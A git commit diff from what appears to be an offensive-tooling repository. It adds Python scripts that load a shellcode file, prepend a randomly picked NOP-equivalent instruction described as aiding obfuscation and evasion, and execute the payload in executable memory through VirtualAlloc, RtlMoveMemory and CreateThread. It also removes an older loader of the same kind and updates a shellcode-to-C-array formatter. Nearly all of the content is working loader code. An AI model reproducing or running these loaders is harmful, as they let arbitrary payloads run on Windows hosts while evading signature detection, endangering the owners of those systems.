Combined arches, added some better help functions

This commit is contained in:
Your Name
2025-03-30 03:57:50 +01:00
parent 99815d38cf
commit 132f00728f
5 changed files with 319 additions and 107 deletions
+164
View File
@@ -0,0 +1,164 @@
import ctypes
import random
import argparse
import sys
X64_NOPS = {
b"\x90": "NOP (single byte, standard NOP instruction)",
b"\x66\x90": "NOP (two-byte variant, used for instruction alignment)",
b"\x0F\x1F\x00": "NOP DWORD PTR [RAX] (three-byte NOP, Intel recommended)",
b"\x0F\x1F\x40\x00": "NOP DWORD PTR [RAX+0] (four-byte NOP)",
b"\x0F\x1F\x44\x00\x00": "NOP DWORD PTR [RAX+RAX*1+0] (five-byte NOP)",
b"\x0F\x1F\x80\x00\x00\x00\x00": "NOP QWORD PTR [RAX+0] (seven-byte NOP)",
b"\x0F\x1F\x84\x00\x00\x00\x00\x00": "NOP QWORD PTR [RAX+RAX*1+0] (eight-byte NOP)",
b"\x66\x0F\x1F\x84\x00\x00\x00\x00\x00": "NOP (nine-byte, long variant for alignment)",
b"\x87\xDB": "XCHG EBX, EBX (register swap, acts as a NOP)",
b"\x87\xC9": "XCHG ECX, ECX (similar to above, avoids altering execution)",
b"\x8D\x49\x00": "LEA ECX, [RCX+0] (no-op using LEA instruction)",
b"\x8D\x74\x26\x00": "LEA ESI, [RSI+0] (useful for obfuscation)",
b"\x48\x8D\x64\x24\x00": "LEA RSP, [RSP+0] (avoids register changes)",
b"\x89\xC0": "MOV EAX, EAX (redundant move, acts as a NOP)",
b"\x49\x89\xD1": "MOV R9, RDX (acts as NOP if R9 equals RDX)",
b"\x50\x58": "PUSH RAX / POP RAX (stack operation without effect)",
b"\x53\x5B": "PUSH RBX / POP RBX (may affect shadow space)",
b"\x48\xFF\xC0\x48\xFF\xC8": "INC RAX / DEC RAX",
b"\x83\xC0\x00": "ADD EAX, 0 (acts as a NOP)",
b"\x83\xE8\x00": "SUB EAX, 0 (does nothing)",
b"\x04\x00": "ADD AL, 0 (no real effect)",
b"\x2C\x00": "SUB AL, 0 (same as above)",
b"\x21\xC0": "AND EAX, EAX (self-AND operation)",
b"\x83\xC8\x00": "OR EAX, 0 (logical OR with zero)",
b"\x83\xF0\x00": "XOR EAX, 0 (only changes flags)",
b"\x48\x87\xC0": "XCHG RAX, RAX (acts as a NOP)",
b"\x48\x89\xC0": "MOV RAX, RAX (redundant move)",
b"\x52\x5A": "PUSH RDX / POP RDX (another stack NOP trick)",
b"\x48\x8D\x40\x00": "LEA RAX, [RAX] (load effective address)",
b"\x48\x8D\x49\x00": "LEA RCX, [RCX] (acts as a NOP)",
b"\xD9\xD0": "FNOP (floating-point NOP)",
b"\xEB\x00": "JMP SHORT $+2 (jumps to itself)",
b"\x75\x00": "JNZ SHORT $+2 (conditional jump NOP)",
b"\x74\x00": "JZ SHORT $+2 (jump-based NOP)",
}
X86_NOPS = {
b"\x90": "NOP (single byte, standard NOP instruction)",
b"\x66\x90": "NOP (two-byte variant, used for instruction alignment)",
b"\x0F\x1F\x00": "NOP DWORD PTR [EAX] (three-byte NOP, Intel recommended)",
b"\x0F\x1F\x40\x00": "NOP DWORD PTR [EAX+0] (four-byte NOP)",
b"\x0F\x1F\x44\x00\x00": "NOP DWORD PTR [EAX+EAX*1+0] (five-byte NOP)",
b"\x87\xDB": "XCHG EBX, EBX (register swap with itself, acts as a NOP)",
b"\x89\xF6": "MOV ESI, ESI (redundant move, acts as a NOP)",
b"\x8D\x49\x00": "LEA ECX, [ECX+0] (load effective address, does nothing)",
b"\x8D\x74\x26\x00": "LEA ESI, [ESI+0] (similar to above, good for obfuscation)",
b"\x50\x58": "PUSH EAX / POP EAX (stack operation with no real effect)",
b"\x53\x5B": "PUSH EBX / POP EBX (similar to above, acts as padding)",
b"\xD9\xD0": "FNOP (FPU NOP, often ignored but useful for evasion)",
b"\x89\xC0": "MOV EAX, EAX (redundant register move, acts as a NOP)",
b"\x40\x48": "INC EAX / DEC EAX",
b"\x83\xC0\x00": "ADD EAX, 0 (Redundant addition, does nothing)",
b"\x83\xE8\x00": "SUB EAX, 0 (Redundant subtraction, does nothing)",
b"\x04\x00": "ADD AL, 0 (Redundant operation on AL register)",
b"\x2C\x00": "SUB AL, 0 (Redundant subtraction, acts as a NOP)",
b"\x21\xC0": "AND EAX, EAX (Logical AND with itself, preserves value)",
b"\x83\xC8\x00": "OR EAX, 0 (Logical OR with 0, no effect on value)",
b"\x83\xF0\x00": "XOR EAX, 0 (Redundant XOR, does nothing but clears flags)",
b"\x87\xC0": "XCHG EAX, EAX (Redundant exchange, effectively a NOP)",
b"\x89\xDB": "MOV EBX, EBX (Same as above, another form of NOP)",
b"\x51\x59": "PUSH ECX / POP ECX (Similar to above, used for obfuscation)",
b"\x8D\x40\x00": "LEA EAX, [EAX] (Load effective address with no effect)",
b"\x2E\x90": "CS: NOP (Segment override prefix, mostly ignored in modern CPUs)",
b"\x3E\x90": "DS: NOP (Segment override, has no practical effect)",
b"\x36\x90": "SS: NOP (Another ignored segment override)",
b"\x26\x90": "ES: NOP (Acts as a standard NOP)",
b"\xEB\x00": "JMP SHORT $+2 (Jumps to next instruction, wasting cycles)",
b"\x75\x00": "JNZ SHORT $+2 (Conditional jump that has no real effect)",
b"\x74\x00": "JZ SHORT $+2 (Another jump-based NOP, good for obfuscation)"
}
def execute_shellcode(shellcode_file: str, arch: str, verbose: bool = False) -> None:
"""Load and execute shellcode with a random NOP for a given architecture."""
with open(shellcode_file, 'rb') as f:
shellcode_bytes = f.read()
nops = X64_NOPS if arch == "x64" else X86_NOPS
nop_bytes, desc = random.choice(list(nops.items()))
if verbose:
print(f"[+] Selected architecture: {arch}")
print(f"[+] NOP used: {desc} ({nop_bytes.hex()})")
print(f"[+] Shellcode size (before NOP): {len(shellcode_bytes)}")
payload = nop_bytes + shellcode_bytes
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.CreateThread.argtypes = (
ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int,
ctypes.c_int, ctypes.POINTER(ctypes.c_int)
)
allocation = ctypes.windll.kernel32.VirtualAlloc(
0, len(payload), 0x3000, 0x40
)
buffer = (ctypes.c_char * len(payload)).from_buffer_copy(payload)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_void_p(allocation), buffer, len(payload)
)
thread_handle = ctypes.windll.kernel32.CreateThread(
0, 0, ctypes.c_void_p(allocation), 0, 0, ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(thread_handle, 0xFFFFFFFF)
def list_nops(arch: str) -> None:
"""List all supported NOP instructions for the selected architecture."""
print(f"\nSupported NOP instructions for architecture: {arch.upper()}")
nops = X64_NOPS if arch == "x64" else X86_NOPS
for nop, desc in nops.items():
print(f" {nop.hex():<20} {desc}")
print()
def main():
parser = argparse.ArgumentParser(
description="Execute shellcode with random prepended NOP (x86 or x64).",
epilog="Example: python3 NOPe.py -f payload.bin --arch x64"
)
parser.add_argument(
"-f", "--file", default="msgbox.x64.bin",
help="Path to shellcode file (.bin)"
)
parser.add_argument(
"--arch", choices=["x86", "x64"], default="x64",
help="Architecture of shellcode (default: x64)"
)
parser.add_argument(
"--list-nops", action="store_true",
help="List available NOP instructions for selected architecture"
)
parser.add_argument(
"-v", "--verbose", action="store_true",
help="Enable verbose output"
)
args = parser.parse_args()
if args.list_nops:
list_nops(args.arch)
sys.exit(0)
if args.verbose:
print(f"[+] Executing shellcode from: {args.file}")
execute_shellcode(args.file, args.arch, args.verbose)
if __name__ == "__main__":
main()
-78
View File
@@ -1,78 +0,0 @@
import ctypes as kk
import random
import sys
x64_nops = {
b"\x90": "NOP (single byte, standard NOP instruction)",
b"\x66\x90": "NOP (two-byte variant, used for instruction alignment)",
b"\x0F\x1F\x00": "NOP DWORD PTR [RAX] (three-byte NOP, Intel recommended)",
b"\x0F\x1F\x40\x00": "NOP DWORD PTR [RAX+0] (four-byte NOP)",
b"\x0F\x1F\x44\x00\x00": "NOP DWORD PTR [RAX+RAX*1+0] (five-byte NOP)",
b"\x0F\x1F\x80\x00\x00\x00\x00": "NOP QWORD PTR [RAX+0] (seven-byte NOP)",
b"\x0F\x1F\x84\x00\x00\x00\x00\x00": "NOP QWORD PTR [RAX+RAX*1+0] (eight-byte NOP)",
b"\x66\x0F\x1F\x84\x00\x00\x00\x00\x00": "NOP (nine-byte, long variant for alignment)",
b"\x87\xDB": "XCHG EBX, EBX (register swap, acts as a NOP)",
b"\x87\xC9": "XCHG ECX, ECX (similar to above, avoids altering execution)",
b"\x8D\x49\x00": "LEA ECX, [RCX+0] (no-op using LEA instruction)",
b"\x8D\x74\x26\x00": "LEA ESI, [RSI+0] (similar to above, useful for obfuscation)",
b"\x48\x8D\x64\x24\x00": "LEA RSP, [RSP+0] (valid in x64, avoids register changes)",
b"\x89\xC0": "MOV EAX, EAX (redundant move, acts as a NOP)",
b"\x49\x89\xD1": "MOV R9, RDX (only acts as a NOP if R9 already equals RDX)",
b"\x50\x58": "PUSH RAX / POP RAX (stack operation without effect, but touches stack)",
b"\x53\x5B": "PUSH RBX / POP RBX (similar to above, but can affect shadow space)",
b"\x48\xFF\xC0\x48\xFF\xC8": "INC RAX / DEC RAX",
b"\x83\xC0\x00": "ADD EAX, 0 (Redundant addition, acts as a NOP)",
b"\x83\xE8\x00": "SUB EAX, 0 (Redundant subtraction, does nothing)",
b"\x04\x00": "ADD AL, 0 (Has no real effect)",
b"\x2C\x00": "SUB AL, 0 (Same as above, just subtraction)",
b"\x21\xC0": "AND EAX, EAX (Self-AND operation, keeps same value)",
b"\x83\xC8\x00": "OR EAX, 0 (Logical OR with zero, effectively a NOP)",
b"\x83\xF0\x00": "XOR EAX, 0 (Redundant XOR, only changes flags)",
b"\x48\x87\xC0": "XCHG RAX, RAX (Redundant exchange, acts as a NOP)",
b"\x48\x89\xC0": "MOV RAX, RAX (Redundant move, does nothing)",
b"\x50\x58": "PUSH RAX / POP RAX (Stack operation with no real effect)",
b"\x52\x5A": "PUSH RDX / POP RDX (Another stack NOP trick)",
b"\x48\x8D\x40\x00": "LEA RAX, [RAX] (Load effective address with no change)",
b"\x48\x8D\x49\x00": "LEA RCX, [RCX] (Acts as a NOP)",
b"\x48\x8D\x64\x24\x00": "LEA RSP, [RSP] (Redundant stack pointer adjustment)",
b"\xD9\xD0": "FNOP (Floating-point NOP, has no effect on integer operations)",
b"\xEB\x00": "JMP SHORT $+2 (Jumps to itself, wasting CPU cycles)",
b"\x75\x00": "JNZ SHORT $+2 (Conditional jump acting as a NOP)",
b"\x74\x00": "JZ SHORT $+2 (Another jump-based NOP, good for obfuscation)"
}
def O(shl_f):
with open(shl_f, 'rb') as f:
shellcode_bytes = f.read()
nopbytes, info = random.choice(list(x64_nops.items()))
print(info)
# for key in x64_nops: # all the NOPS lol
# nopbytes = nopbytes + key
b_x = nopbytes + shellcode_bytes
print("Trying NOP Type: ", info)
kk.windll.kernel32.VirtualAlloc.restype = kk.c_void_p
kk.windll.kernel32.CreateThread.argtypes = (
kk.c_int, kk.c_int, kk.c_void_p, kk.c_int, kk.c_int, kk.POINTER(kk.c_int)
)
spc = kk.windll.kernel32.VirtualAlloc(
kk.c_int(0), kk.c_int(len(b_x)), kk.c_int(0x3000), kk.c_int(0x40)
)
bf = (kk.c_char * len(b_x)).from_buffer_copy(b_x)
kk.windll.kernel32.RtlMoveMemory(kk.c_void_p(spc), bf, kk.c_int(len(b_x)))
hndl = kk.windll.kernel32.CreateThread(
kk.c_int(0), kk.c_int(0), kk.c_void_p(spc), kk.c_int(0), kk.c_int(0),
kk.pointer(kk.c_int(0))
)
kk.windll.kernel32.WaitForSingleObject(hndl, kk.c_uint32(0xffffffff))
if __name__ == "__main__":
if len(sys.argv) != 2:
shl_f = "msgbox.x64.bin"
O(shl_f)
else:
shl_f = sys.argv[1]
O(shl_f)
+41 -29
View File
@@ -1,35 +1,47 @@
#!/usr/bin/env python3
import sys
import os
# Check if file argument is provided
if len(sys.argv) != 2:
print("Usage: python shellcode_to_hex.py <shellcode_file>")
sys.exit(1)
shellcode_file = sys.argv[1]
def read_shellcode_file(filepath: str) -> bytes:
"""Read binary shellcode file."""
try:
with open(filepath, "rb") as file:
return file.read()
except IOError as e:
print(f"[!] Error reading file '{filepath}': {e}")
sys.exit(1)
try:
# Read the shellcode file
with open(shellcode_file, "rb") as file:
shellcode = file.read()
except IOError as e:
print("Error reading file:", e)
sys.exit(1)
# Convert shellcode to hex bytes format with a maximum of 16 bytes per line
hex_bytes = [f'0x{x:02X}' for x in shellcode]
num_bytes = len(hex_bytes)
num_rows = (num_bytes + 15) // 16
def format_shellcode_as_hex(shellcode: bytes) -> str:
"""Format shellcode bytes into C-style hex array (16 bytes per line)."""
hex_bytes = [f'0x{byte:02X}' for byte in shellcode]
lines = []
# Print the hex bytes format with a maximum of 16 bytes per line
print(f'Shellcode in hex bytes format:')
print('payload[] = {')
for i in range(num_rows):
row_start = i * 16
row_end = min(row_start + 16, num_bytes)
row_hex = ', '.join(hex_bytes[row_start:row_end])
if i == num_rows - 1:
# Remove the last comma for the last row
print(f' {row_hex}')
else:
print(f' {row_hex},')
print('};')
for i in range(0, len(hex_bytes), 16):
line = ', '.join(hex_bytes[i:i + 16])
lines.append(f' {line}')
return "payload[] = {\n" + ",\n".join(lines) + "\n};"
def main():
if len(sys.argv) != 2:
print("Usage: python bin2sc.py <shellcode_file>")
sys.exit(1)
shellcode_file = sys.argv[1]
if not os.path.isfile(shellcode_file):
print(f"[!] File not found: {shellcode_file}")
sys.exit(1)
shellcode = read_shellcode_file(shellcode_file)
formatted = format_shellcode_as_hex(shellcode)
print("Shellcode in hex bytes format:")
print(formatted)
if __name__ == "__main__":
main()
+114
View File
@@ -0,0 +1,114 @@
import ctypes
import random
import sys
import argparse
X64_NOPS = {
b"\x90": "NOP (single byte, standard NOP instruction)",
b"\x66\x90": "NOP (two-byte variant, used for instruction alignment)",
b"\x0F\x1F\x00": "NOP DWORD PTR [RAX] (three-byte NOP, Intel recommended)",
b"\x0F\x1F\x40\x00": "NOP DWORD PTR [RAX+0] (four-byte NOP)",
b"\x0F\x1F\x44\x00\x00": "NOP DWORD PTR [RAX+RAX*1+0] (five-byte NOP)",
b"\x0F\x1F\x80\x00\x00\x00\x00": "NOP QWORD PTR [RAX+0] (seven-byte NOP)",
b"\x0F\x1F\x84\x00\x00\x00\x00\x00": "NOP QWORD PTR [RAX+RAX*1+0] (eight-byte NOP)",
b"\x66\x0F\x1F\x84\x00\x00\x00\x00\x00": "NOP (nine-byte, long variant for alignment)",
b"\x87\xDB": "XCHG EBX, EBX (register swap, acts as a NOP)",
b"\x87\xC9": "XCHG ECX, ECX (similar to above, avoids altering execution)",
b"\x8D\x49\x00": "LEA ECX, [RCX+0] (no-op using LEA instruction)",
b"\x8D\x74\x26\x00": "LEA ESI, [RSI+0] (useful for obfuscation)",
b"\x48\x8D\x64\x24\x00": "LEA RSP, [RSP+0] (avoids register changes)",
b"\x89\xC0": "MOV EAX, EAX (redundant move, acts as a NOP)",
b"\x49\x89\xD1": "MOV R9, RDX (acts as NOP if R9 equals RDX)",
b"\x50\x58": "PUSH RAX / POP RAX (stack operation without effect)",
b"\x53\x5B": "PUSH RBX / POP RBX (may affect shadow space)",
b"\x48\xFF\xC0\x48\xFF\xC8": "INC RAX / DEC RAX",
b"\x83\xC0\x00": "ADD EAX, 0 (acts as a NOP)",
b"\x83\xE8\x00": "SUB EAX, 0 (does nothing)",
b"\x04\x00": "ADD AL, 0 (no real effect)",
b"\x2C\x00": "SUB AL, 0 (same as above)",
b"\x21\xC0": "AND EAX, EAX (self-AND operation)",
b"\x83\xC8\x00": "OR EAX, 0 (logical OR with zero)",
b"\x83\xF0\x00": "XOR EAX, 0 (only changes flags)",
b"\x48\x87\xC0": "XCHG RAX, RAX (acts as a NOP)",
b"\x48\x89\xC0": "MOV RAX, RAX (redundant move)",
b"\x52\x5A": "PUSH RDX / POP RDX (another stack NOP trick)",
b"\x48\x8D\x40\x00": "LEA RAX, [RAX] (load effective address)",
b"\x48\x8D\x49\x00": "LEA RCX, [RCX] (acts as a NOP)",
b"\xD9\xD0": "FNOP (floating-point NOP)",
b"\xEB\x00": "JMP SHORT $+2 (jumps to itself)",
b"\x75\x00": "JNZ SHORT $+2 (conditional jump NOP)",
b"\x74\x00": "JZ SHORT $+2 (jump-based NOP)",
}
def execute_shellcode_with_nop(shellcode_file: str, verbose: bool = False) -> None:
"""Prepends a random NOP instruction to shellcode and executes it in memory."""
with open(shellcode_file, 'rb') as f:
shellcode_bytes = f.read()
nop_bytes, description = random.choice(list(X64_NOPS.items()))
if verbose:
print(f"[+] Using NOP: {description}")
payload = nop_bytes + shellcode_bytes
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.CreateThread.argtypes = (
ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int,
ctypes.c_int, ctypes.POINTER(ctypes.c_int)
)
allocation = ctypes.windll.kernel32.VirtualAlloc(
0, len(payload), 0x3000, 0x40
)
buffer = (ctypes.c_char * len(payload)).from_buffer_copy(payload)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_void_p(allocation), buffer, len(payload)
)
thread_handle = ctypes.windll.kernel32.CreateThread(
0, 0, ctypes.c_void_p(allocation), 0, 0, ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(thread_handle, 0xFFFFFFFF)
def list_nop_types() -> None:
print("\nSupported NOP Instructions:")
for nop, desc in X64_NOPS.items():
print(f" {nop.hex():<20} {desc}")
print()
def main():
parser = argparse.ArgumentParser(
description="Execute shellcode with a random x64 NOP prepended for obfuscation.",
epilog="Example: python3 NOPe_x64.py -f msgbox.x64.bin"
)
parser.add_argument(
"-f", "--file", help="Path to shellcode file (.bin)", default="msgbox.x64.bin"
)
parser.add_argument(
"--list-nops", action="store_true", help="List all supported NOP instruction types"
)
parser.add_argument(
"-v", "--verbose", action="store_true", help="Enable verbose output"
)
args = parser.parse_args()
if args.list_nops:
list_nop_types()
sys.exit(0)
if args.verbose:
print(f"[+] Loading shellcode from: {args.file}")
execute_shellcode_with_nop(args.file, args.verbose)
if __name__ == "__main__":
main()
View File